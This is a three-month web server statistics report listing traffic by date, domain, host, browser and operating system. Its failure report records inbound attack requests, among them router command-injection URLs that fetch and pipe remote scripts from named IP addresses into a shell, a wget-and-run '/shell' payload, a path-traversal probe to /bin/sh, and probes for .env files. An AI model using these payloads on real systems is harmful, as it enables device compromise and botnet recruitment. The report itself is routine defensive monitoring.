Program started at Mon-30-Dec-2024 00:20.
Analysed requests from Tue-01-Oct-2024 00:02 to Mon-30-Dec-2024 00:00 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 30-Dec-2024 00:20.
Successful requests: 6,501 (500)
Average successful requests per day: 72 (71)
Successful requests for pages: 6,498 (499)
Average successful requests for pages per day: 72 (71)
Failed requests: 3,031 (260)
Redirected requests: 10,454 (626)
Distinct files requested: 16 (7)
Distinct hosts served: 2,080 (200)
Corrupt logfile lines: 1,301
Unwanted logfile entries: 415,286
Data transferred: 6.25 megabytes (490.79 kilobytes)
Average data transferred per day: 71.14 kilobytes (70.11 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Oct 2024 | 2198 | 2197 | |
Nov 2024 | 2220 | 2220 | |
Dec 2024 | 2083 | 2081 |
Busiest month: Nov 2024 (2,220 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 15 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
29/Sep/24 | 373 | 373 | |
6/Oct/24 | 476 | 476 | |
13/Oct/24 | 403 | 402 | |
20/Oct/24 | 566 | 566 | |
27/Oct/24 | 523 | 523 | |
3/Nov/24 | 471 | 471 | |
10/Nov/24 | 583 | 583 | |
17/Nov/24 | 577 | 577 | |
24/Nov/24 | 446 | 446 | |
1/Dec/24 | 537 | 536 | |
8/Dec/24 | 500 | 500 | |
15/Dec/24 | 471 | 471 | |
22/Dec/24 | 512 | 512 | |
29/Dec/24 | 63 | 62 |
Busiest week: week beginning 10/Nov/24 (583 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 3 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
18/Nov/24 | 78 | 78 | |
19/Nov/24 | 91 | 91 | |
20/Nov/24 | 104 | 104 | |
21/Nov/24 | 64 | 64 | |
22/Nov/24 | 66 | 66 | |
23/Nov/24 | 90 | 90 | |
24/Nov/24 | 52 | 52 | |
25/Nov/24 | 70 | 70 | |
26/Nov/24 | 63 | 63 | |
27/Nov/24 | 53 | 53 | |
28/Nov/24 | 64 | 64 | |
29/Nov/24 | 79 | 79 | |
30/Nov/24 | 65 | 65 | |
1/Dec/24 | 69 | 69 | |
2/Dec/24 | 84 | 84 | |
3/Dec/24 | 54 | 54 | |
4/Dec/24 | 87 | 87 | |
5/Dec/24 | 84 | 84 | |
6/Dec/24 | 82 | 81 | |
7/Dec/24 | 77 | 77 | |
8/Dec/24 | 61 | 61 | |
9/Dec/24 | 97 | 97 | |
10/Dec/24 | 68 | 68 | |
11/Dec/24 | 76 | 76 | |
12/Dec/24 | 81 | 81 | |
13/Dec/24 | 65 | 65 | |
14/Dec/24 | 52 | 52 | |
15/Dec/24 | 57 | 57 | |
16/Dec/24 | 73 | 73 | |
17/Dec/24 | 61 | 61 | |
18/Dec/24 | 90 | 90 | |
19/Dec/24 | 72 | 72 | |
20/Dec/24 | 60 | 60 | |
21/Dec/24 | 58 | 58 | |
22/Dec/24 | 73 | 73 | |
23/Dec/24 | 56 | 56 | |
24/Dec/24 | 89 | 89 | |
25/Dec/24 | 84 | 84 | |
26/Dec/24 | 71 | 71 | |
27/Dec/24 | 63 | 63 | |
28/Dec/24 | 76 | 76 | |
29/Dec/24 | 63 | 62 |
Busiest day: 12/Nov/24 (111 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 894 | 893 | |
Mon | 890 | 890 | |
Tue | 954 | 954 | |
Wed | 1033 | 1033 | |
Thu | 983 | 982 | |
Fri | 838 | 837 | |
Sat | 909 | 909 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 8 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 271 | 271 | |
1 | 268 | 268 | |
2 | 279 | 279 | |
3 | 281 | 281 | |
4 | 275 | 275 | |
5 | 261 | 261 | |
6 | 281 | 280 | |
7 | 254 | 254 | |
8 | 265 | 265 | |
9 | 289 | 288 | |
10 | 259 | 259 | |
11 | 238 | 238 | |
12 | 260 | 259 | |
13 | 260 | 260 | |
14 | 253 | 253 | |
15 | 273 | 273 | |
16 | 290 | 290 | |
17 | 270 | 270 | |
18 | 269 | 269 | |
19 | 268 | 268 | |
20 | 297 | 297 | |
21 | 303 | 303 | |
22 | 267 | 267 | |
23 | 270 | 270 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
3371 | 52.29% | [unresolved numerical addresses] |
1557 | 23.63% | .com (Commercial) |
961 | 14.86% | .net (Networks) |
179 | 2.70% | .org (Non Profit Making Organisations) |
97 | 1.41% | [unknown domain] |
60 | 0.87% | .us (United States) |
48 | 0.77% | .uk (United Kingdom) |
31 | 0.47% | .io (British Indian Ocean Territory) |
30 | 0.47% | .tw (Taiwan) |
21 | 0.32% | .it (Italy) |
18 | 0.28% | .cn (China) |
16 | 0.23% | .ru (Russia) |
12 | 0.18% | .br (Brazil) |
10 | 0.14% | .de (Germany) |
8 | 0.12% | .jp (Japan) |
7 | 0.11% | .th (Thailand) |
6 | 0.09% | .ch (Switzerland) |
5 | 0.08% | .tr (Turkey) |
5 | 0.08% | .sg (Singapore) |
5 | 0.08% | .au (Australia) |
5 | 0.08% | .pl (Poland) |
5 | 0.08% | .ua (Ukraine) |
4 | 0.06% | .my (Malaysia) |
4 | 0.06% | .hu (Hungary) |
4 | 0.06% | .ar (Argentina) |
3 | 0.05% | .co (Colombia) |
3 | 0.05% | .in (India) |
3 | 0.05% | .ir (Iran) |
2 | 0.03% | .gr (Greece) |
2 | 0.03% | .kh (Cambodia) |
2 | 0.03% | .cz (Czech Republic) |
2 | 0.03% | .edu (USA Higher Education) |
1 | 0.02% | .ro (Romania) |
1 | 0.02% | .sh (Saint Helena) |
1 | 0.02% | .fr (France) |
1 | 0.02% | .se (Sweden) |
1 | 0.02% | [domain not given] |
1 | 0.02% | .tk (Tokelau) |
1 | 0.02% | .pt (Portugal) |
1 | 0.02% | .tt (Trinidad and Tobago) |
1 | 0.02% | .il (Israel) |
1 | 0.02% | .arpa (Arpanet) |
1 | 0.02% | .ke (Kenya) |
1 | 0.02% | .sk (Slovakia) |
1 | 0.02% | .kz (Kazakhstan) |
1 | 0.02% | .ec (Ecuador) |
1 | 0.02% | .md (Moldova) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
871 | 13.81% | 95 |
503 | 7.80% | hinet.net |
458 | 6.97% | 185.191 |
382 | 5.91% | privatelayer.com |
277 | 4.26% | serveroffer.net |
210 | 3.26% | group-ib.com |
199 | 2.97% | googleusercontent.com |
151 | 2.31% | 149.50 |
138 | 2.22% | showfreevids.com |
130 | 2.01% | 5 |
118 | 1.83% | 80.94 |
107 | 1.63% | 185.224 |
103 | 1.57% | criminalip.com |
97 | 1.48% | censys-scanner.com |
97 | 1.41% | [unknown domain] |
96 | 1.46% | 167.94 |
84 | 1.24% | linodeusercontent.com |
82 | 1.26% | 154.213 |
80 | 1.22% | shadowserver.org |
76 | 1.12% | internet-census.org |
2242 | 34.25% | [not listed: 450 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
118 | 1.83% | 5.8.11.202 |
14 | 0.22% | 46.174.191.28 |
15 | 0.23% | 46.174.191.31 |
18 | 0.28% | 46.174.191.32 |
15 | 0.23% | 80.66.77.235 |
114 | 1.77% | 80.94.93.191 |
26 | 0.40% | 83.97.73.245 |
62 | 0.96% | 92.255.57.58 |
19 | 0.31% | 94.141.120.37 |
14 | 0.22% | 94.156.248.4 |
93 | 1.50% | 95.214.53.91 |
21 | 0.32% | 95.214.53.202 |
255 | 3.97% | 95.214.53.205 |
24 | 0.37% | 95.214.55.32 |
212 | 3.41% | 95.214.55.43 |
184 | 2.96% | 95.214.55.79 |
48 | 0.77% | 95.214.55.138 |
15 | 0.24% | 141.98.11.15 |
15 | 0.23% | 146.19.24.18 |
135 | 2.06% | 149.50.103.48 |
16 | 0.25% | 149.50.106.25 |
28 | 0.43% | 154.213.184.43 |
45 | 0.72% | 154.213.191.23 |
61 | 0.98% | 178.211.139.188 |
32 | 0.49% | 185.16.39.9 |
168 | 2.56% | 185.191.126.213 |
290 | 4.41% | 185.191.126.248 |
106 | 1.61% | 185.224.128.47 |
35 | 0.54% | 194.50.16.198 |
17 | 0.26% | scanner-07.ch1.censys-scanner.com |
103 | 1.57% | security.criminalip.com |
210 | 3.26% | rnd.group-ib.com |
28 | 0.43% | eletrire.halffail.com |
43 | 0.65% | server-0-2.survey.inspici.com |
35 | 0.51% | 139-144-52-241.ip.linodeusercontent.com |
24 | 0.35% | 172-104-4-17.ip.linodeusercontent.com |
382 | 5.91% | hostedby.privatelayer.com |
20 | 0.32% | movie.showfreevids.com |
29 | 0.47% | tvseries.showfreevids.com |
20 | 0.32% | tvshows.showfreevids.com |
22 | 0.35% | watch-pacquiao-vs-mosley.showfreevids.com |
16 | 0.25% | undefined.hostname.localhost |
15 | 0.23% | unused-space.coop.net |
110 | 1.67% | srv-141-98-11-155.serveroffer.net |
36 | 0.57% | srv-141-98-11-178.serveroffer.net |
111 | 1.70% | srv-141-98-11-35.serveroffer.net |
17 | 0.26% | internettl.org |
19 | 0.29% | hostglobal.plus |
33 | 0.53% | play25.chelseafanclub.co.uk |
14 | 0.23% | play23.juventusfcfans.org.uk |
2999 | 45.61% | [not listed: 2,030 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
7 | [not listed: 6 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
no. | reqs | pages | browser |
---|---|---|---|
1 | 2456 | 2453 | Chrome |
1150 | 1150 | Chrome/90 | |
114 | 114 | Chrome/51 | |
107 | 107 | Chrome/128 | |
103 | 103 | Chrome/88 | |
92 | 92 | Chrome/78 | |
82 | 79 | Chrome/60 | |
78 | 78 | Chrome/52 | |
74 | 74 | Chrome/81 | |
60 | 60 | Chrome/108 | |
58 | 58 | Chrome/127 | |
2 | 866 | 866 | Safari |
757 | 757 | Safari/534 | |
44 | 44 | Safari/601 | |
26 | 26 | Safari/605 | |
11 | 11 | Safari/604 | |
6 | 6 | Safari/533 | |
5 | 5 | Safari/602 | |
5 | 5 | Safari/525 | |
2 | 2 | Safari/6533 | |
2 | 2 | Safari/413 | |
2 | 2 | Safari/537 | |
3 | 241 | 241 | Mozilla |
3 | 3 | Mozilla/1 | |
1 | 1 | Mozilla/2 | |
4 | 227 | 227 | Netscape (compatible) |
5 | 204 | 204 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
204 | 204 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
6 | 159 | 159 | curl |
159 | 159 | curl/7 | |
7 | 151 | 151 | python-requests |
151 | 151 | python-requests/2 | |
8 | 143 | 143 | Firefox |
40 | 40 | Firefox/130 | |
13 | 13 | Firefox/8 | |
13 | 13 | Firefox/118 | |
8 | 8 | Firefox/102 | |
7 | 7 | Firefox/77 | |
6 | 6 | Firefox/65 | |
4 | 4 | Firefox/76 | |
4 | 4 | Firefox/83 | |
3 | 3 | Firefox/98 | |
3 | 3 | Firefox/62 | |
9 | 134 | 134 | masscan |
134 | 134 | masscan/1 | |
10 | 60 | 60 | Linux Gnu (cow) |
11 | 37 | 37 | l9tcpid |
37 | 37 | l9tcpid/v1 | |
12 | 16 | 16 | 'Mozilla |
16 | 16 | 'Mozilla/5 | |
13 | 13 | 13 | MSIE |
4 | 4 | MSIE/9 | |
3 | 3 | MSIE/10 | |
2 | 2 | MSIE/5 | |
2 | 2 | MSIE/7 | |
1 | 1 | MSIE/8 | |
1 | 1 | MSIE/6 | |
14 | 12 | 12 | Go-http-client |
12 | 12 | Go-http-client/1 | |
15 | 11 | 11 | Opera |
9 | 9 | Opera/9 | |
1 | 1 | Opera/8 | |
1 | 1 | Opera/7 | |
16 | 8 | 8 | GCore Labs Cyberthreat Research |
17 | 6 | 6 | Hello World |
1 | 1 | Hello World/1 | |
18 | 6 | 6 | HTTP Banner Detection (https: |
6 | 6 | HTTP Banner Detection (https://security | |
19 | 5 | 5 | libwww-perl |
5 | 5 | libwww-perl/6 | |
20 | 4 | 4 | Konqueror |
4 | 4 | Konqueror/4 | |
41 | 41 | [not listed: 29 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
no. | reqs | pages | OS |
---|---|---|---|
1 | 2107 | 2104 | Windows |
1800 | 1797 | Windows NT | |
236 | 236 | Windows 7 | |
33 | 33 | Unknown Windows | |
15 | 15 | Windows 8 | |
12 | 12 | Windows XP | |
5 | 5 | Windows Vista | |
2 | 2 | Windows Server 2003 | |
1 | 1 | Windows CE | |
1 | 1 | Windows 98 | |
1 | 1 | Windows 2000 | |
1 | 1 | Windows ME | |
2 | 1172 | 1172 | Unix |
1164 | 1164 | Linux | |
3 | 3 | Other Unix | |
2 | 2 | OpenBSD | |
1 | 1 | SunOS | |
1 | 1 | NetBSD | |
1 | 1 | FreeBSD | |
3 | 1140 | 1140 | OS unknown |
4 | 352 | 352 | Macintosh |
5 | 22 | 22 | Known robots |
6 | 4 | 4 | Symbian OS |
7 | 3 | 3 | OS/2 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
848 | /x16/x03/x01 |
672 | /cgi-bin/luci/ |
110 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
89 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
12 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://45.202.35.24/l+-O-|+sh`) |
11 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
313 | /x16/x03/x02/x01o/x01 |
142 | * |
129 | /bin/sh |
100 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
97 | / |
72 | /x03 |
70 | /x16/x03/x01/x05/xa8/x01 |
57 | 12.1.2/n |
54 | MGLNDD_66.39.90.169_80/n |
52 | /cgi-bin/index.cgi |
48 | /cgi-bin/ |
33 | /shell |
28 | /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws |
24 | /x16/x03/x03/x01/xa5/x01 |
21 | /x16/x03/x01/x02 |
19 | /cgi-bin/hotspotlogin.cgi |
19 | /cgi-bin/authLogin.cgi |
16 | google.com:443 |
16 | /x16/x03/x01/x01$/x01 |
15 | /HNAP1/ |
13 | www.baidu.com:443 |
13 | /cgi-bin/main-cgi |
11 | /x16/x03/x01/x01/x17/x01 |
11 | /cgi-bin/info.cgi |
10 | Gh0st/xad |
10 | /cgi-bin/login.cgi |
9 | HTTP/1.0 |
8 | /x16/x03/x01/x01/xaa/x01 |
7 | default.asp |
96 | [not listed: 44 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
6494 | 99.95% | 29/Dec/24 23:43 | / |
88 | 1.37% | 29/Dec/24 09:12 | /?XDEBUG_SESSION_START=phpstorm |
11 | 0.17% | 18/Dec/24 16:42 | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
11 | 0.17% | 18/Dec/24 16:42 | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
10 | 0.15% | 27/Dec/24 03:57 | /?url=.env |
4 | 0.05% | 12/Dec/24 13:03 | [not listed: 4 files] |